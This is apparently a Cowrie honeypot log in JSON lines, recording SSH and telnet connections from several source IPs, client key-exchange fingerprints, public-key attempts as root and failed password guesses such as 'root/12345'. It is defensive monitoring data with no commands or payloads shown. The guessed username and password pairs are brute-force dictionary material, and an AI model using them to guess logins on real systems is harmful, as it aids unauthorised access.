{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:a6:f7:9a:85:e6:2d:bd:12:02:ea:8a:09:e3:7a:57","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKsDF8abIhTVlaAIcNXgkdJECw0+SsMSTZ66mQ9f2omzYWHbYXh4kGfGj/IbB2oRT6p8dOnhUgIKGZ0Icweix7CGEUB+C+g/yQNI5AEnNWCbmd6J3RXMTis0ybrOyibVTIm5oNLUygZ0gZ4XgSl7Bt1q7RccShqw/wooSEocDjM/AAAAFQCVsl36GxjkQj14mIlAilGQe66hywAAAIBdJPA9mTfrCveCbDa9BvuysjI6zOEHxH1zPOop/IiIi2BdJh123NWKV8/AYzvp3Fq0jVPZz9DGab8hiF8Y5Gq9EbNVlJpMGrHikgEl3+GcmdK9BrN14/tg4XzRCX7ZW7m8RvNONHK0tOJ7ucWkNMHQlqCbtbxvasV0QqawSxjAKwAAAIEAk+OhT1GBMlOH68GDK5Gj5kBanUGji9WlQM3yQ+7sYXWcu371j1p80iMb+nkkvlUocqSkJ4+jSIS3p073PijRjW6wfZQjgFbDor+irf4+0SysUiZrXdJ7JkThoKz46hmY8831KzTsSnAV735D75lKYrrRB8xmkDAr+kugotvQR3w=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 19:a6:f7:9a:85:e6:2d:bd:12:02:ea:8a:09:e3:7a:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.252324Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:a6:f7:9a:85:e6:2d:bd:12:02:ea:8a:09:e3:7a:57","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAKsDF8abIhTVlaAIcNXgkdJECw0+SsMSTZ66mQ9f2omzYWHbYXh4kGfGj/IbB2oRT6p8dOnhUgIKGZ0Icweix7CGEUB+C+g/yQNI5AEnNWCbmd6J3RXMTis0ybrOyibVTIm5oNLUygZ0gZ4XgSl7Bt1q7RccShqw/wooSEocDjM/AAAAFQCVsl36GxjkQj14mIlAilGQe66hywAAAIBdJPA9mTfrCveCbDa9BvuysjI6zOEHxH1zPOop/IiIi2BdJh123NWKV8/AYzvp3Fq0jVPZz9DGab8hiF8Y5Gq9EbNVlJpMGrHikgEl3+GcmdK9BrN14/tg4XzRCX7ZW7m8RvNONHK0tOJ7ucWkNMHQlqCbtbxvasV0QqawSxjAKwAAAIEAk+OhT1GBMlOH68GDK5Gj5kBanUGji9WlQM3yQ+7sYXWcu371j1p80iMb+nkkvlUocqSkJ4+jSIS3p073PijRjW6wfZQjgFbDor+irf4+0SysUiZrXdJ7JkThoKz46hmY8831KzTsSnAV735D75lKYrrRB8xmkDAr+kugotvQR3w=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.255552Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:76:b3:b7:7d:d6:8f:66:72:2d:2c:65:a8:0c:48:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoKMIwcU4klF4V5y8+kR6HZjRx++7MpJcEpJdbsE8G4gUJ4mma/IuN+CdFG0FDbsX96IJzZb7V0OLFkcVBbiII4Wye+7T6Pd2MO+jFZq32+RSmVrbeDPUKu9oppwNsnbubS4mu7eqJtsrKS4hQ5Apg4G9ZboRDcbOFQggXj1VUYpyTXTXx8+w0+KYheIG/h3XIm/mNiFelT3Fi1ZizlDhSeggcdqsKqBp6jJymCWeVgHjV2NR/cmXWu5HBKG2HEK8STFkTene9PZfBC8bLcSciLONXwWLEgsRGx5gnOZ4eOSWvDfQknLVZnjgTJOzj0JtR9Duq0pNW/RWAo5391pId","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:76:b3:b7:7d:d6:8f:66:72:2d:2c:65:a8:0c:48:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.277345Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:76:b3:b7:7d:d6:8f:66:72:2d:2c:65:a8:0c:48:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoKMIwcU4klF4V5y8+kR6HZjRx++7MpJcEpJdbsE8G4gUJ4mma/IuN+CdFG0FDbsX96IJzZb7V0OLFkcVBbiII4Wye+7T6Pd2MO+jFZq32+RSmVrbeDPUKu9oppwNsnbubS4mu7eqJtsrKS4hQ5Apg4G9ZboRDcbOFQggXj1VUYpyTXTXx8+w0+KYheIG/h3XIm/mNiFelT3Fi1ZizlDhSeggcdqsKqBp6jJymCWeVgHjV2NR/cmXWu5HBKG2HEK8STFkTene9PZfBC8bLcSciLONXwWLEgsRGx5gnOZ4eOSWvDfQknLVZnjgTJOzj0JtR9Duq0pNW/RWAo5391pId","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.280415Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:a9:26:03:0b:ee:30:c7:bb:5a:28:dc:c6:4c:ff:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbhoLar3IIMGPjgufFFomW1S8yy6saJQaS6g3HYgl/g633HfsN+Sdg/6TyMnfyqtSaSsYwl7IwKHxfFsOSgEIBa8yqIh1Ef3JgyeH2I6Sn+YM/z4NLJs9NsZIuwaEIi38zq9T0bDm1nvaP4sRHzmpH0a/PkJ/IeygZf9gyxC/XSHCnF4ETpb55RgZPAzEsQZcltwsiQujYJ1GRR8mrtZxuxBXwrkmPjw9eamLijJPIYPQx8hhNjVZL0CSKxZiwZVIbdZ+gZPSV1LuUNubSdKM5v3Ismmkz2N4iGnPjVnP8WfJHfFbT2ypfHXZi1Ij3yeMNurJC/HLzArRYmB2kH3E8QqFoJvcgQnelEG51eaA8cIZVjHKxRDT1ns4rMu4kXi4NfwXiSWkowU9TgKapBxZw3xFQ0oZKyCCeAQurxFm8NLuO70Yru7rildx7/XamFBIE8UwzGXyp7mtzO3Hg2toGE4heVj+Q3tfTd01KgdHFlvMTOo0krIyu4C/t6SIE9Zs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:a9:26:03:0b:ee:30:c7:bb:5a:28:dc:c6:4c:ff:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.302763Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:a9:26:03:0b:ee:30:c7:bb:5a:28:dc:c6:4c:ff:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDbhoLar3IIMGPjgufFFomW1S8yy6saJQaS6g3HYgl/g633HfsN+Sdg/6TyMnfyqtSaSsYwl7IwKHxfFsOSgEIBa8yqIh1Ef3JgyeH2I6Sn+YM/z4NLJs9NsZIuwaEIi38zq9T0bDm1nvaP4sRHzmpH0a/PkJ/IeygZf9gyxC/XSHCnF4ETpb55RgZPAzEsQZcltwsiQujYJ1GRR8mrtZxuxBXwrkmPjw9eamLijJPIYPQx8hhNjVZL0CSKxZiwZVIbdZ+gZPSV1LuUNubSdKM5v3Ismmkz2N4iGnPjVnP8WfJHfFbT2ypfHXZi1Ij3yeMNurJC/HLzArRYmB2kH3E8QqFoJvcgQnelEG51eaA8cIZVjHKxRDT1ns4rMu4kXi4NfwXiSWkowU9TgKapBxZw3xFQ0oZKyCCeAQurxFm8NLuO70Yru7rildx7/XamFBIE8UwzGXyp7mtzO3Hg2toGE4heVj+Q3tfTd01KgdHFlvMTOo0krIyu4C/t6SIE9Zs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.305866Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e8:49:a4:8b:63:6a:f2:6a:62:9e:9b:04:75:1a:3c:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmtK1syyyFMYB2VVmCfnIGr4M52i9+z6c1GzrBfZJ5YtUkoG7uKyWUmhki28wpsEwXyMaEve9d9id/6+Qq/rAWwk0okciCGB2pmkPlyPMDUNnCsJH/Z2fRozP/sl1lRpihjlcOiV3Tc0Mj2g5J33fDWJPm9GraF60d4dQQOU67j7J9fWxbXJ5cb3fxAa3eLcHte+k+LYb4GHUWbKxX1mJHxqTA/v17mpPkKyQVckLJKm6sooL5SHe06ucemowWXUwaXuIIswdEx6qPhRzRpp23i57w2vzSzXnQ04rD7heV1kQFaq/qBujWHEHD9G9LpimsByGBqWP+0pAWpVqWdt7R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e8:49:a4:8b:63:6a:f2:6a:62:9e:9b:04:75:1a:3c:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.328397Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e8:49:a4:8b:63:6a:f2:6a:62:9e:9b:04:75:1a:3c:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmtK1syyyFMYB2VVmCfnIGr4M52i9+z6c1GzrBfZJ5YtUkoG7uKyWUmhki28wpsEwXyMaEve9d9id/6+Qq/rAWwk0okciCGB2pmkPlyPMDUNnCsJH/Z2fRozP/sl1lRpihjlcOiV3Tc0Mj2g5J33fDWJPm9GraF60d4dQQOU67j7J9fWxbXJ5cb3fxAa3eLcHte+k+LYb4GHUWbKxX1mJHxqTA/v17mpPkKyQVckLJKm6sooL5SHe06ucemowWXUwaXuIIswdEx6qPhRzRpp23i57w2vzSzXnQ04rD7heV1kQFaq/qBujWHEHD9G9LpimsByGBqWP+0pAWpVqWdt7R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.331232Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.355453Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.116.220.251","src_port":33585,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b2625d4110c","protocol":"ssh","message":"New connection: 181.116.220.251:33585 (159.203.135.109:22) [session: 7b2625d4110c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:02.710485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:02.715631Z","src_ip":"181.116.220.251","session":"7b2625d4110c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":53450,"dst_ip":"159.203.135.109","dst_port":22,"session":"c826291fe2a4","protocol":"ssh","message":"New connection: 103.27.238.120:53450 (159.203.135.109:22) [session: c826291fe2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:02.837191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:02.841417Z","src_ip":"103.27.238.120","session":"c826291fe2a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:02.870405Z","src_ip":"181.116.220.251","session":"7b2625d4110c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:03.114667Z","src_ip":"103.27.238.120","session":"c826291fe2a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"12345","message":"login attempt [admin2/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:03.521988Z","src_ip":"181.116.220.251","session":"7b2625d4110c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"130793","message":"login attempt [root/130793] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:03.924587Z","src_ip":"103.27.238.120","session":"c826291fe2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:04.678406Z","src_ip":"181.116.220.251","session":"7b2625d4110c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:05.196376Z","src_ip":"103.27.238.120","session":"c826291fe2a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":34982,"dst_ip":"10.17.0.5","dst_port":22,"session":"49675ad6ff9f","protocol":"ssh","message":"New connection: 80.94.92.55:34982 (10.17.0.5:22) [session: 49675ad6ff9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:09.631783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:10.285093Z","src_ip":"80.94.92.55","session":"49675ad6ff9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:10.288472Z","src_ip":"80.94.92.55","session":"49675ad6ff9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":54882,"dst_ip":"159.203.135.109","dst_port":22,"session":"aed43138fb46","protocol":"ssh","message":"New connection: 159.65.58.200:54882 (159.203.135.109:22) [session: aed43138fb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:11.307753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:11.736445Z","src_ip":"159.65.58.200","session":"aed43138fb46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:11.739148Z","src_ip":"159.65.58.200","session":"aed43138fb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sif","password":"123456","message":"login attempt [sif/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:12.939705Z","src_ip":"159.65.58.200","session":"aed43138fb46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:13.640795Z","src_ip":"80.94.92.55","session":"49675ad6ff9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:14.118937Z","src_ip":"159.65.58.200","session":"aed43138fb46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:15.697231Z","src_ip":"80.94.92.55","session":"49675ad6ff9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43534,"dst_ip":"159.203.135.109","dst_port":23,"session":"7464149810d5","protocol":"telnet","message":"New connection: 170.64.224.25:43534 (159.203.135.109:23) [session: 7464149810d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:25.092695Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":36068,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9f053e57fb4","protocol":"ssh","message":"New connection: 173.236.141.65:36068 (10.17.0.5:22) [session: f9f053e57fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:37.597173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:37.599940Z","src_ip":"173.236.141.65","session":"f9f053e57fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:37.609452Z","src_ip":"173.236.141.65","session":"f9f053e57fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F3t$M@st3r#P@ss","message":"login attempt [root/F3t$M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:37.637345Z","src_ip":"173.236.141.65","session":"f9f053e57fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:38.648706Z","src_ip":"173.236.141.65","session":"f9f053e57fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37896,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f5b19360814","protocol":"ssh","message":"New connection: 91.92.40.4:37896 (10.17.0.5:22) [session: 3f5b19360814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:56:43.902999Z"}
